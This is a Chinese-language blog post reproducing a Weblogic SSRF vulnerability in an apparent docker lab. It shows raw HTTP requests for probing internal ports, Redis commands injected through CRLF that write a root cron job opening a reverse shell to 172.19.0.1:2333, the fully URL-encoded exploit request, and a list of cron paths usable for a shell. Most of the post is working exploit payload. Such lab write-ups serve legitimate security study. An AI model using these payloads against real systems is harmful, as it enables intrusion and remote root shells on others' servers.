Weblogic SSRF漏洞


Weblogic SSRF漏洞

Weblogic 中存在一个 SSRF 漏洞,利用该漏洞可以发送任意 HTTP 请求,进而攻击内网中 redis、fastcgi 等脆弱组件。

漏洞复现

SSRF 漏洞存在于 http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,在 brupsuite 下测试该漏洞。访问一个可以访问的 IP:PORT,如http://127.0.0.1:80

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

可访问的端口将会得到错误,一般是返回 status code(如下图),如果访问的非 http 协议,则会返回 did not have a valid SOAP content-type

修改为一个不存在的端口,将会返回 could not connect over HTTP to server

通过错误的不同,即可探测内网状态。

注入HTTP头,利用Redis反弹shell

Weblogic 的 SSRF 有一个比较大的特点,其虽然是一个 GET 请求,但是我们可以通过传入 %0a%0d 来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该 SSRF 攻击内网中的 redis 服务器。

首先,通过 ssrf 探测内网中的 redis 服务器(docker环境的网段一般是172.*),发现 172.19.0.2:6379 可以连通:

发送三条 redis 命令,将弹 shell 脚本写入 /etc/crontab

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.19.0.1/2333 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

注意,换行符是 \r\n,也就是 %0D%0A

将 url 编码后的字符串放在 ssrf 的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

成功反弹:

最后补充一下,可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Weblogic 任意文件上传漏洞(CVE-2018-2894) Weblogic 任意文件上传漏洞(CVE-2018-2894)
Weblogic 任意文件上传漏洞(CVE-2018-2894)Oracle 7 月更新中,修复了 Weblogic Web Service Test Page 中一处任意文件上传漏洞,Web Service Test Page 在 生产模
2019-03-01
下一篇 
Weblogic 常规渗透测试环境 Weblogic 常规渗透测试环境
Weblogic 常规渗透测试环境测试环境本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。 Weblogic版本:10.3.6(11g)
2019-03-01
  目录